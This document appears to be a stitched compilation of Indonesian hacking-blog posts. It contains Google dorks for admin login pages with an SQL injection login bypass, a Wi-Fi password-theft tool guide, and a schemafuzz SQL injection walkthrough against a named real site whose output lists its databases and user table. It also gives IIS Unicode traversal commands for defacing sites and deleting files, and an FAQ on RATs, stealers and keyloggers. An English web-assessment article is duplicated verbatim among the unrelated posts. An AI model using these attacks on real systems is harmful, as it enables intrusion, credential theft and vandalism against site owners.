pertama download dulu aplikasinya pada link dibawah yang telah disediakan :
setelah itu jalankan program yang didownload tersebut.
Ikuti petunjuk berurutan sesuai yang ada pada program billing client palsu. Jika beruntung maka Anda bisa keluar dari program billing client dan menikmati hampir semua fasilitas windows yang dikunci oleh billing client aslinya.
Related Post :
memvalidasi input dari user.
Sebenarnya ini bug sudah lama sekali,tapi yang namanya ilmu gak ada basinya kan… :)
gak usah banyak omong langsung aja kepermasalahan.
pastikan komputer anda sudah connect internet hehehhee….
buka www.google.com
Masukkan kata kunci/keyword dibawah:
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
“/admin/adminlogin.asp”
“/admin/adminlogon.asp”
“/admin/admin_login.asp”
“/admin/admin_logon.asp”
“/administrator/admin.asp”
“/administrator/login.asp”
“/administrator/logon.asp”
“root/login.asp”
“admin/index.asp”
BOARD ADMINISTRATOR
Screenshoot :
Silakan login terlebih dahulu untuk melakukan perubahan pada Message Board Anda
LOGIN NAME : admin
PASSWORD : 'or''='
setelah Login yang dapat kita lakukan adalah :
:: Normal view
:: Administrator View
:: Kustomisasi Tampilan
:: Preference
:: Ganti Password
:: Ubah Profil
:: Logout
ADMINISTRASI MESSAGE BOARD
Fasilitas ini dapat digunakan untuk melakukan adminsitrasi message board Anda. Anda dapat
melakukan apa saja yang Anda Inginkan termasuk Menghancurkan WEB tersebut.
Mohon jangan disalahgunakan karena ini hanya pembelajaran saja. .
BY : SEMUT MERAH
by Shreeraj Shah
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.
This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:
- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components.
This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
As shown in Figure 1, the browser processes on the left can be divided into the following layers:
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:
- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example.
Suppose we can get today’s business news by visiting a simple news portal located at:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.
We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews() { var http; http = new XMLHttpRequest(); http.open("GET", " getnews.aspx?date=09262006", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
continued
[ref 1] Ajax security, http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether.
In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe() { var http; http = new XMLHttpRequest(); http.open("GET", "hi.html", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes a simple Ajax call to the hi.html resource on the server.
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.
l=find('link') for(i=0;iYou can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.
This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser.
There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.
Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.
Figure 6. Form property inspection with Firebug.
After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.
All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.
We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.
Figure 9. Moving to validation.js script page.
The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.
Figure 10. Making an Ajax call.
Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.
Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser.
In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
by Shreeraj Shah
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.
This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:
- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components.
This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
As shown in Figure 1, the browser processes on the left can be divided into the following layers:
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:
- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example.
Suppose we can get today’s business news by visiting a simple news portal located at:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.
We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews() { var http; http = new XMLHttpRequest(); http.open("GET", " getnews.aspx?date=09262006", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
continued
[ref 1] Ajax security, http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether.
In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe() { var http; http = new XMLHttpRequest(); http.open("GET", "hi.html", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes a simple Ajax call to the hi.html resource on the server.
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.
l=find('link') for(i=0;iYou can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.
This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser.
There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.
Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.
Figure 6. Form property inspection with Firebug.
After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.
All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.
We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.
Figure 9. Moving to validation.js script page.
The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.
Figure 10. Making an Ajax call.
Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.
Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser.
In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
Sebenarnya saya udah hapus postingan ini,tapi berhubung semalam ada yang request tentang bagaimana cara menjebol Wireless/Hotspot yang mempunyai password agar kita bisa menggunakannya secara gratis.
Cukup dengan menggunakan sebuah aplikasi yang ukurannya sangat kecil
yang bernama wzcook,maka anda dapat menjebol jaringan Wireless/Hotspot
yang anda inginkan.tentunya yang telah dipasangkan password oleh pemiliknya.
Adapaun cara utk menggunakan wzcook ini,anda hanya membutuhkan sebuah laptop
yang menyimpan aplikasi wzcook tsb dan jaringan Wireless tentunya.
anda cukup menjalankan wzcook dan secara otomatis akan mencari jaringan Wireless
beserta passwordnya,setelah itu anda tinggal menggunakan
access Wireless tsb dgn gratis...
download link
DOWNLOAD APP
Password Unrar :
http://andystonecold2009.blogspot.com
1.Python (http://www.python.org/ftp/python/2.5/python-2.5.msi)
2.Schemafuzz (http://darkc0de.com/others/schemafuzz.py)
3.CMD
Dg cmd masuk ke folder tempat schemafuzz.py berada...
Awali pertintah dengan format:
schemafuzz.py -u "url target" --perintah
List perintah ada dibawah...
1.Cari target
Misal: http://www.ditplb.or.id/profile.php?id=1
2.Masukkan perintah untuk mencari colom
Misal: schemafuzz.py -u "http://www.ditplb.or.id/profile.php?id=1"; --findcol
Maka keluar:
[+] URL: http://www.ditplb.or.id/profile.php?id=1--
[+]
Evasion Used: "+" "--"
[+] 20:36:29
[-] Proxy Not Given
[+] Attempting To find the number of columns...
[+] Testing: 0,1,2,
[+] Column Length is: 3
[+] Found null column at column #: 2
[+] SQLi URL:
http://www.ditplb.or.id/profile.php?...SELECT+0,1,2--
[+] darkc0de
URL: http://www.ditplb.or.id/profile.php?...T+0,1,darkc0de
[-] Done!
Berarti kita gunain
http://www.ditplb.or.id/profile.php?...T+0,1,darkc0de
untuk inject
3.Cari database dg command --dbs
Misal : schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--dbs
Maka keluar:
[+] URL:
http://www.ditplb.or.id/profile.php?...0,1,darkc0de--
[+] Evasion Used: "+" "--"
[+] 20:39:32
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: t15618_plb
User: t15618_pl...@localhost
Version: 5.0.32-Debian_7etch8
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] t15618_plb
[-] 20:39:39
[-] Total URL Requests 3
[-] Done
keliatan kan nama databasenya ??? t15618_plb
4.Cari nama table dalam database
Misal: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--schema -D namadatabase
Jadinya: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--schema -D t15618_plb
Maka keluar:
[+] URL:
http://www.ditplb.or.id/profile.php?...0,1,darkc0de--
[+] Evasion Used: "+" "--"
[+] 20:43:10
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: t15618_plb
User: t15618_pl...@localhost
Version: 5.0.32-Debian_7etch8
[+] Showing Tables & Columns from database "t15618_plb"
[+] Number of Tables: 11
[Database]: t15618_plb
[Table: Columns]
[0]bukutamu: id,pengirim,email,pesan
[1]frm_daftarartikel: id_daf_art,id_kat,daftarartikel,pengirim
[2]frm_detailartikel: id_det_art,id_kat,id_daf_art,detailartikel,keteran gan
[3]frm_kategori: id_kat,kategori
[4]kabupaten: ID_kab,ID_prop,Kabupaten
[5]pelatihan: ID,Pelatihan
[6]profile: ID_Profile,sinopsis,Profile
[7]propinsi: ID_prop,Propinsi
[8]sd: ID_sd,ID_1,SD,Detail
[9]sekolah: ID_sek,ID_prop,ID_kab,Sekolah,Alamat,Telp,Email
[10]user: ID_user,UserID,Password,Keterangan,Admin
[-] 20:44:39
[-] Total URL Requests 43
[-] Done
Mencari target dapat dilakukan dengan berbagai cara hal ini tergantung kreativitas dan sarana yang dimiliki, dalam hal ini bisa berbentuk script IRC, scanner. Sebagai dasar mengetahui OS yang digunakan server suatu site dapat diketahui dengan mencarinya pada situs http://www.netcraft.com/
Langkah 2 : Unicode
Setelah target didapat maka digunakan Unicode. Unicode itu sendiri penulis juga tidak terlalu mengetahui secara mendetail, tapi pada dasarnya Unicode menggunakan bahasa ASCII. Server yang menggunakan OS NT dengan IIS sendiri mempunyai bug yang bisa ditembus dengan Unicode dalam hal ini bila server itu belum dipatch. Unicode yang berhasil ditemukan untuk memasuki server NT sudah banyak. Dan yang bisa dicoba sebagai berikut:
http://target/_vti_bin/..%c0%af../.....exe?/c+dir+c:\
http://target/scripts/..%c0%af../..%...exe?/c+dir+c:\
http://target/msadc/..%c0%af../..%c0...exe?/c+dir+c:\
http://target/cgi-bin/..%c0%af../..%...exe?/c+dir+c:\
http://target/scripts/..%255c..%255c...exe?/c+dir+c:\
Bila Unicode tersebut berhasil maka akan dapat dilihat tampilan seperti berikut:
Directory of c:\
06/03/01 09:59a (DIR) InetPub
08/08/01 06:14p (DIR) WINNT
Langkah 3 :Mencari halaman depan
Saat membuka situs tersebut pada browser, kita pasti akan melihat tampilan muka dari site tersebut, perlu diperhatikan adalah file tampilan muka tersebut apa? biasanya antara lain: index.htm, index.html, default.htm, default.html. Kemudian dengan mengunakan Unicode tersebut kita mencari file tersebut letaknya dimana, biasanya di C:\inetpub\wwwroot (hal ini belum tentu). untuk mencari file tersebut dapat digunakan perintah:
/c+dir/s+c:\index.htm
Hal ini berarti perintah mencari file index.htm di dalam drive C
Untuk melihat apakah file index.htm tersebut adalah yang digunakan pada halaman depan, dipergunakan perintah :
/c+type+c:\direktory dan nama file, contoh : /c+type+c:\inetpub\wwwroot\index.htm
Setelah anda menemukan file index.htm tersebut, maka sebaiknya anda copy dulu, hal ini agar tindakan Deface kita tidak terlalu merugikan Administrator dari server situs tersebut. Sehingga nantinya Admin tersebut mempunyai backup dari file index.
perintah copy itu sendiri adalah:
/c+copy+c:\
contoh untuk pencopyan adalah:
/c+copy+c:\inetpub\wwwroot\index.htm backupindex.htm
untuk mempermudah pekerjaan dapat dilakukan pencopyan file cmd.exe yg berada di direktory c:/winnt/system32 dengan menggunakan nama anda, seperti :
/c+copy+c:\winnt\system32\cmd.exe+c:\deface.exe
hal ini berarti anda mencopy file cmd.exe ke dir c dgn nama deface.exe, sehingga untuk perintah2 selanjutnya tidak memerlukan /winnt/system32/cmd.exe?/ tapi cukup /deface.exe?/
Langkah 4 : Meng-Copy file index.htm
echo dalam dos berarti anda membuat file maka bila file index.htm yg asli anda echo berarti anda timpa dengan file index anda. Untuk perintahnya adalah:
/deface.exe?/c+echo+"deface+was+here"+>+c:\inetpub\wwwroot\inde x.htm
sehingga tampilan site depan telah terganti dengan tulisan
deface was here
Catatan: Hal ini berlaku bila file index.htm tersebut dapat diecho, karena sebagian server membatasi direktory root dengan atribut read only, sehingga perintah echo index.htm akan menghasilkan : Access Denied Untuk membuat deface anda menjadi lebih bagus, dapat digunakan bahasa HTML dan ASCII
membuat direktory = /c+mkdir+c:\
merubah nama file = /c+ren+c:\file
menghapus file = /c+del+c:\file
menghapus file Read-Only = /c+del+/R+c:\file
Q: Apa itu hacking?
Hacking adalah penggunaan yang tidak sah sumber daya komputer dan jaringan. Hal ini biasanya dilakukan melalui penggunaan program 'backdoor' diinstal pada mesin anda. Namun, kebanyakan orang memahami seorang hacker untuk lebih akurat apa yang dikenal sebagai 'cracker'. Istilah "hack" juga digunakan untuk merujuk kepada modifikasi dari sebuah program atau perangkat untuk memberikan akses pengguna ke fitur yang tidak tersedia, seperti sirkuit DIY membungkuk. Ini adalah dari penggunaan bahwa "hacking" istilah sering salah digunakan untuk merujuk kepada penggunaan pidana lebih jahat seperti pencurian identitas, penipuan kartu kredit atau tindakan lainnya yang dikategorikan sebagai kejahatan komputer.
Q: Apa itu cracking?
Password cracking adalah proses pemulihan password dari data yang telah disimpan di dalam atau dikirimkan oleh komputer system.A banyak kerupuk juga mencoba untuk mendapatkan akses ke sumber daya melalui penggunaan software password cracking, yang mencoba miliaran password untuk menemukan yang benar satu untuk mengakses computer.On sebuah file-per file, password cracking digunakan untuk mendapatkan akses ke bukti digital yang hakim telah memungkinkan akses tapi akses file tertentu adalah dibatasi.
T: Apa yang dimaksud dengan virus / trojan / file skrip berbahaya?
Virus adalah kode program atau pemrograman yang mereplikasi oleh disalin atau memulai menyalin ke sektor lain, program komputer boot atau document.Trojan melaksanakan pada komputer Anda, penyerang, yaitu orang yang menjalankan server, memiliki tingkat kontrol yang tinggi terhadap komputer Anda, yang dapat mengakibatkan efek destruktif tergantung pada tujuan penyerang.
Q: Apa itu stealer?
pencuri adalah software yang dirancang untuk menciptakan virus. Virus ini disebut sebagai server. Anda mengirim server untuk korban dan jika mereka membuka semua melewati mereka (sesuai dengan seberapa pencuri dibangun) akan dikirimkan kepada anda lewat email, atau ftp atau hosting php.
Q: Apa itu RAT itu?
Sebuah Tikus adalah sebuah perangkat lunak dibuat bahwa server yang serupa diciptakan (virus). Jika korban membuka itu mereka akan RAT Anda. Anda dapat memiliki akses lengkap untuk sistem mereka. Ada hundereds fitur.
RAT - Remote Administration Tool.
Q: Apa itu keylogger?
keylogger adalah software yang dirancang untuk membuat server. Anda mengirim server untuk korban dan jika mereka membuka semua penekanan tombol mereka akan mengirim melalui email, ftp, php hosting dll
Q: Apa itu BOT?
Sebuah bot adalah program berbahaya yang memiliki beberapa tujuan.
